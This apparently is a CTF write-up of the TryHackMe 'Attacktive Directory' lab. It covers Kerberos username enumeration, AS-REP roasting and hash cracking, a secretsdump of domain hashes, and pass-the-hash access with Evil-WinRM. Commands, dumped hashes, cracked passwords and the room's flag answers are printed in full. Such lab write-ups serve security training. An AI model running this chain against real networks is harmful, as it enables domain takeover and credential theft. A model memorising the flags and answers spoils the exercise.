

Tryhackme: Attacktive Directory

May 2020

Task 1: Deploy the box

IP: 10.10.182.180

Task 2: Impacket Installation

GitHub: <https://github.com/SecureAuthCorp/impacket>

Task 3: Enumerate the DC

Scanning for open ports:

```
crazyeighths@kali:~$ nmap -PS 10.10.182.180
```

Starting Nmap 7.80 (<https://nmap.org>) at 2020-05-18 19:51 EDT

Nmap scan report for 10.10.182.180

Host is up (0.13s latency).

Not shown: 989 closed ports

PORT	STATE	SERVICE
------	-------	---------

53/tcp	open	domain
--------	------	--------

80/tcp	open	http
--------	------	------

88/tcp	open	kerberos-sec
--------	------	--------------

135/tcp	open	msrpc
---------	------	-------

139/tcp	open	netbios-ssn
---------	------	-------------

389/tcp	open	ldap
---------	------	------

445/tcp	open	microsoft-ds
---------	------	--------------

464/tcp	open	kpasswd5
---------	------	----------

593/tcp	open	http-rpc-epmap
---------	------	----------------

636/tcp	open	ldapssl
---------	------	---------

3389/tcp	open	ms-wbt-server
----------	------	---------------

#1 How many ports are open under 10,000? (Note it may take up to 5 minutes for all the services to start)

11

Correct Answer

Hint

NetBIOS lookup:

```
crazyeighths@kali:~$ nmblookup -A 10.10.182.180
```

Looking up status of 10.10.182.180

No reply from 10.10.182.180

Enumerate the domain and shares:

Enum4linux is basically a wrapper around the Samba tools smbclient, rpcclient, net and nmblookup

#2 What tool will allow us to enumerate port 139/445?

enum4linux

Correct Answer

```
crazyeights@kali:~$ enum4linux 10.10.182.180
```

```
Starting enum4linux v0.8.9 (  
http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon May 18 19:56:19  
2020
```

```
=====
|      Target Information      |
=====
Target ..... 10.10.182.180
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin,  
none
```

(truncated)

```
=====
|      Getting domain SID for 10.10.182.180      |
=====
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
```

(truncated)

```
=====
|      Users on 10.10.182.180 via RID cycling (RIDS: 500-550,1000-1050)      |
=====
[+] Enumerating users using SID S-1-5-21-3532885019-1334016158-1514108833 and  
logon username '', password ''
S-1-5-21-3532885019-1334016158-1514108833-500 ATTACKTIVEDIREC\Administrator  
(Local User)
S-1-5-21-3532885019-1334016158-1514108833-501 ATTACKTIVEDIREC\Guest (Local  
User)
S-1-5-21-3532885019-1334016158-1514108833-502 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-503 ATTACKTIVEDIREC\DefaultAccount  
(Local User)
S-1-5-21-3532885019-1334016158-1514108833-504  
ATTACKTIVEDIREC\WDAGUtilityAccount (Local User)
```

...

#3 What is the Domain Name of the machine?

THM-AD

Correct Answer

#4 What invalid TLD do people commonly use for their Active Directory Domain?

.local

Correct Answer

 Hint

Using nmap to get more information:

```
crazyeights@kali:~$ nmap -A -v 10.10.182.180
```

Starting Nmap 7.80 (<https://nmap.org>) at 2020-05-18 20:08 EDT

Nmap scan report for 10.10.182.180

Host is up (0.12s latency).

Not shown: 987 closed ports

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

53/tcp	open	domain?	
--------	------	---------	--

| fingerprint-strings:

| DNSVersionBindReqTCP:

| version

|_ bind

80/tcp	open	http	Microsoft IIS httpd 10.0
--------	------	------	--------------------------

| http-methods:

| Supported Methods: OPTIONS TRACE GET HEAD POST

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/10.0

|_http-title: IIS Windows Server

88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2020-05-19 00:06:31Z)
--------	------	--------------	--

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
---------	------	-------------	-------------------------------

389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
---------	------	------	--

445/tcp	open	microsoft-ds?	
---------	------	---------------	--

464/tcp	open	kpasswd5?	
---------	------	-----------	--

593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
---------	------	------------	-------------------------------------

636/tcp	open	tcpwrapped	
---------	------	------------	--

3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
----------	------	------	--

3269/tcp	open	tcpwrapped	
----------	------	------------	--

3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
----------	------	---------------	-----------------------------

| rdp-ntlm-info:

| Target_Name: THM-AD

```
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2020-05-19T00:08:50+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
(truncated)
```

Task 4: Enumerate the DC Part 2

Enumerating Users:

Using nmap:

```
crazyights@kali:~$ nmap -p88 --script krb5-enum-users --script-args
krb-enum-users.realm="THM-AD",userdb=unix_users.txt 10.10.182.180
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-18 20:17 EDT
Nmap scan report for 10.10.182.180
Host is up (0.12s latency).
```

```
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
(Need to use a bigger wordlist)
```

Using kerbrute:

```
crazyights@kali:~/kerbrute/dist$ ./kerbrute_linux_amd64 userenum --dc
10.10.182.180 -d THM-AD
/usr/share/metasploit-framework/data/wordlists/namelist.txt
```

```
2020/05/18 20:29:08 > [+] VALID USERNAME:      administrator@THM-AD
2020/05/18 20:29:09 > [+] VALID USERNAME:      backup@THM-AD
2020/05/18 20:29:30 > Done! Tested 1909 usernames (2 valid) in 22.606
seconds
```

```
2020/05/18 20:38:45 > [+] VALID USERNAME:      james@THM-AD
2020/05/18 20:38:50 > [+] VALID USERNAME:      James@THM-AD
2020/05/18 20:38:51 > [+] VALID USERNAME:      robin@THM-AD
2020/05/18 20:39:00 > [+] VALID USERNAME:      darkstar@THM-AD
2020/05/18 20:39:08 > [+] VALID USERNAME:      administrator@THM-AD
2020/05/18 20:39:20 > [+] VALID USERNAME:      backup@THM-AD
2020/05/18 20:39:26 > [+] VALID USERNAME:      paradox@THM-AD
```

```

2020/05/18 20:40:04 > [+] VALID USERNAME: JAMES@THM-AD
2020/05/18 20:40:17 > [+] VALID USERNAME: Robin@THM-AD
2020/05/18 20:41:31 > [+] VALID USERNAME: Administrator@THM-AD
2020/05/18 20:44:02 > [+] VALID USERNAME: Darkstar@THM-AD
2020/05/18 20:44:50 > [+] VALID USERNAME: Paradox@THM-AD
2020/05/18 20:47:34 > [+] VALID USERNAME: DARKSTAR@THM-AD
2020/05/18 20:48:21 > [+] VALID USERNAME: ori@THM-AD
2020/05/18 20:49:48 > [+] VALID USERNAME: svc-admin@THM-AD

```

#1 What command within Kerbrute will allow us to enumerate valid usernames?

Correct Answer

#2 What notable account is discovered? (These should jump out at you)

Submit

#3 What is the other notable account is discovered? (These should jump out at you)

Correct Answer

Task 5: Exploiting Kerberos:

Creating a wordlist of usernames:

```

crazyights@kali:~$ echo -e
"Administrator\njames\nrobin\ndarkstar\nbackup\nparadox\nsvc-admin\nori" >
ad_users.txt
crazyights@kali:~$ cat ad_users.txt
Administrator
james
robin
darkstar
Backup
paradox
svc-admin
ori

```

crazyights@kali:~\$

Get the hashes of users with kerberos pre-auth disabled:

```

crazyights@kali:~$ python GetNPUsers.py spookysec.local/ -usersfile
/home/crazyights/ad_users.txt -no-pass -dc-ip 10.10.182.180
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

```

```

[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in
Kerberos database)
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:25de918b3ab665ed68bd7599b3dc97b3$5594
ef4634fac0eef41869a298631f320e2a194e50a9661c15fed12a8e3bec61d4e61e190d1316a08
e1e155bcbcab0f791ee50ecdef2a2be283fa9aabb5ee06526c46be2a93e4055a5aedbc69b07b
38da7088f8a59f3e8b328a97731acea271d6f6d12a6a3a0b10a1741540947de63c48792c76fb2
4713d8d878ee455201f1073f8f4a5e1bb4376437e3b2ad34a2fb38364f9a39f37a90fe0d23ed8
70a7e09d9b2d40d1cebe506ddce873c30c2f070ca2e6025bec26ee80331eff8450e13c66ffe55
534ea7e121c2476e769de9017d587c7cdf23b2b09ef27fcb7712e98944550b99dc2d5d425be02
479d4540d057358f6c
[-] User ori doesn't have UF_DONT_REQUIRE_PREAUTH set

```

#1 We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?


svc-admin

Correct Answer

#2 Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Kerberos 5 AS-REP etype 23

Correct Answer



#3 What mode is the hash?

18200

Correct Answer

#4 Now crack the hash with the modified password list provided, what is the user accounts password?

management2005

Correct Answer

Copy the hash to a text file and crack it:

```

crazyeights@kali:~$ john -wordlist=lists/rockyou.txt -rules krb_ad_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4
HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Warning: invalid UTF-8 seen reading ~/.john/john.pot
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)

```

```
1g 0:00:00:05 DONE (2020-05-18 22:04) 0.1834g/s 1071Kp/s 1071Kc/s 1071KC/s
manaia05..mamitanachi
Use the "--show" option to display all of the cracked passwords reliably
Session completed
crazyeights@kali:~$
```

Task 6: Enumerate the DC Part 3

Enumerate the domain with credentials:

Using rpcclient:

```
crazyeights@kali:~$ rpcclient 10.10.182.180 -U svc-admin
```

Enter WORKGROUP\svc-admin's password:

```
rpcclient $>
```

```
rpcclient $> srvinfo
```

```
10.10.182.180 Wk Sv PDC Tim NT
platform_id   :    500
os version    :    10.0
server type   :    0x80102b
```

```
rpcclient $>
```

```
rpcclient $> enumdomusers
```

```
user:[Administrator] rid:[0x1f4]
```

```
user:[Guest] rid:[0x1f5]
```

```
user:[krbtgt] rid:[0x1f6]
```

```
user:[skidy] rid:[0x44f]
```

```
user:[breakerofthings] rid:[0x450]
```

```
user:[james] rid:[0x451]
```

```
user:[optional] rid:[0x452]
```

```
user:[sherlocksec] rid:[0x453]
```

```
user:[darkstar] rid:[0x454]
```

```
user:[Ori] rid:[0x455]
```

```
user:[robin] rid:[0x456]
```

```
user:[paradox] rid:[0x457]
```

```
user:[Muirland] rid:[0x458]
```

```
user:[horshark] rid:[0x459]
```

```
user:[svc-admin] rid:[0x45a]
```

```
user:[backup] rid:[0x45e]
```

```
rpcclient $> enumdomgroups
```

```
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
```

```
group:[Domain Admins] rid:[0x200]
```

```
group:[Domain Users] rid:[0x201]
```

```
group:[Domain Guests] rid:[0x202]
```

```
group:[Domain Computers] rid:[0x203]
```


```
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[dc] rid:[0x45d]
```

New IP: 10.10.105.247

#1 Using utility can we map remote SMB shares?

smbclient


Correct Answer

 Hint

#2 Which option will list shares?

-L

Correct Answer

 Hint

Using smbclient:

```
crazyeights@kali:~$ smbclient -L \\10.10.105.247 -U 'svc-admin'
Enter WORKGROUP\svc-admin's password:
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
backup	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
SYSVOL	Disk	Logon server share

SMB1 disabled -- no workgroup available

#3 How many remote shares is the server listing?

6

Correct Answer

```
crazyeights@kali:~$ smbclient \\\10.10.105.247\SYSTEM -U 'svc-admin'
```

```
Enter WORKGROUP\svc-admin's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Sat Apr 4 14:39:25 2020
..	D	0	Sat Apr 4 14:39:25 2020
spookysec.local	D	0	Sat Apr 4 14:39:25 2020

```
8247551 blocks of size 4096. 5250395 blocks available
```

```
smb: \> cd spookysec.local
```

```
smb: \spookysec.local\> dir
```

.	D	0	Sat Apr 4 14:40:55 2020
..	D	0	Sat Apr 4 14:40:55 2020
DfsrPrivate	DHS	0	Sat Apr 4 14:40:55 2020
Policies	D	0	Sat Apr 4 14:39:31 2020
scripts	D	0	Sat Apr 4 14:39:25 2020

```
8247551 blocks of size 4096. 5250395 blocks available
```

```
smb: \spookysec.local\> cd scripts
```

```
smb: \spookysec.local\scripts\> dir
```

.	D	0	Sat Apr 4 14:39:25 2020
..	D	0	Sat Apr 4 14:39:25 2020

```
8247551 blocks of size 4096. 5250395 blocks available
```

```
smb: \spookysec.local\scripts\> cd ../
```

```
smb: \spookysec.local\> cd Policies
```

```
smb: \spookysec.local\Policies\> dir
```

.	D	0	Sat Apr 4 14:39:31 2020
..	D	0	Sat Apr 4 14:39:31 2020
{31B2F340-016D-11D2-945F-00C04FB984F9}	D	0	Sat Apr 4 14:39:31 2020
{6AC1786C-016F-11D2-945F-00C04FB984F9}	D	0	Sat Apr 4 14:39:31 2020

```
8247551 blocks of size 4096. 5250323 blocks available
```

```
smb: \spookysec.local\Policies\> cd ../
```

```
smb: \spookysec.local\> cd DfsrPrivate\
```

```
cd \spookysec.local\DfsrPrivate\: NT_STATUS_ACCESS_DENIED
```

```
smb: \spookysec.local\>
```

```
crazyeights@kali:~$ smbclient \\\10.10.105.247\NETLOGON -U 'svc-admin'
```

```
Enter WORKGROUP\svc-admin's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Sat Apr 4 14:39:25 2020
..	D	0	Sat Apr 4 14:39:25 2020

8247551 blocks of size 4096. 5247576 blocks available

#4 There is one particular share that we have access to that contains a text file. Which share is it?

backup

Correct Answer

```
crazyeights@kali:~$ smbclient \\\10.10.105.247\backup -U 'svc-admin'
```

```
Enter WORKGROUP\svc-admin's password:
```

```
Try "help" to get a list of possible commands.
```

```
smb: \> dir
```

.	D	0	Sat Apr 4 15:08:39 2020
..	D	0	Sat Apr 4 15:08:39 2020
backup_credentials.txt	A	48	Sat Apr 4 15:08:53 2020

8247551 blocks of size 4096. 5261243 blocks available

```
smb: \> more backup_credentials.txt
```

```
getting file \backup_credentials.txt of size 48 as /tmp/smbmore.Fllrgd (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
```


```
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNRdXAyNTE3ODYw
```

```
From base64: backup@spookysec.local:backup2517860
```

#5 What is the content of the file?

YmFja3VwQHNwb29reXNlYy5sb2NhbdpiYWN

Correct Answer

 Hint

#6 Decoding the contents of the file, what is the full contents?

backup@spookysec.local:backup251786

Correct Answer

Task 7: Elevating Privileges

Just for the user backup:

```
crazyrights@kali:~/impacket/examples$ python secretsdump.py -just-dc-user  
backup spookysec.local/backup:backup251786@10.10.105.247  
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
```

```
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)  
[*] Using the DRSUAPI method to get NTDS.DIT secrets  
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4  
b40f1ca9aab45538:::  
[*] Kerberos keys grabbed  
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac89  
43483bf0efd74d61fda15d104829412922  
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d1  
97  
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89  
[*] Cleaning up...
```

For all users:

```
crazyrights@kali:~/impacket/examples$ python secretsdump.py -just-dc  
spookysec.local/backup:backup251786@10.10.105.247  
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
```


```
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)  
[*] Using the DRSUAPI method to get NTDS.DIT secrets  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e4876a80a723612986d7609aa5  
ebc12b:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
:
```

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:
::
(truncated)
[*] Cleaning up...
```

#1 What method allowed us to dump NTDS.DIT?

DRSUAPI

Correct Answer

 Hint

#2 What is the Administrators NTLM hash?

e4876a80a723612986d7609aa5ebc12b

Correct Answer

#3 What method of attack could allow us to authenticate as the user without the password?


Pass The Hash

Correct Answer

#4 Using a tool called Evil-WinRM what option will allow us to use a hash?

-H

Correct Answer

 Hint

```
crazyheights@kali:~/evil-winrm-master$ evil-winrm -i 10.10.105.247 -u
Administrator -H e4876a80a723612986d7609aa5ebc12b
```

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

Task 8: Flags

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
```

Directory: C:\Users\Administrator\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/4/2020 11:39 AM	32	root.txt

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```

```
TryHackMe{4ctiveD1rectoryM4st3r}
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cd C:\Users\svc-admin\Desktop
```

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> dir
```

Directory: C:\Users\svc-admin\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/4/2020 12:18 PM	28	user.txt.txt

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> type user.txt.txt
```

```
TryHackMe{K3rb3r0s_Pr3_4uth}
```

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop>
```

```
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cd C:\Users\backup\Desktop
```

```
*Evil-WinRM* PS C:\Users\backup\Desktop> dir
```

Directory: C:\Users\backup\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/4/2020 12:19 PM	26	PrivEsc.txt

```
*Evil-WinRM* PS C:\Users\backup\Desktop> type PrivEsc.txt
```

```
TryHackMe{B4ckM3UpSc0tty!}
```

```
*Evil-WinRM* PS C:\Users\backup\Desktop>
```

#1 svc-admin

TryHackMe{K3rb3r0s_Pr3_4uth}

Correct Answer

#2 backup

TryHackMe{B4ckM3UpSc0tty!}

Correct Answer

#3 Administrator

TryHackMe{4ctiveD1rectoryM4st3r}

Correct Answer

FIN.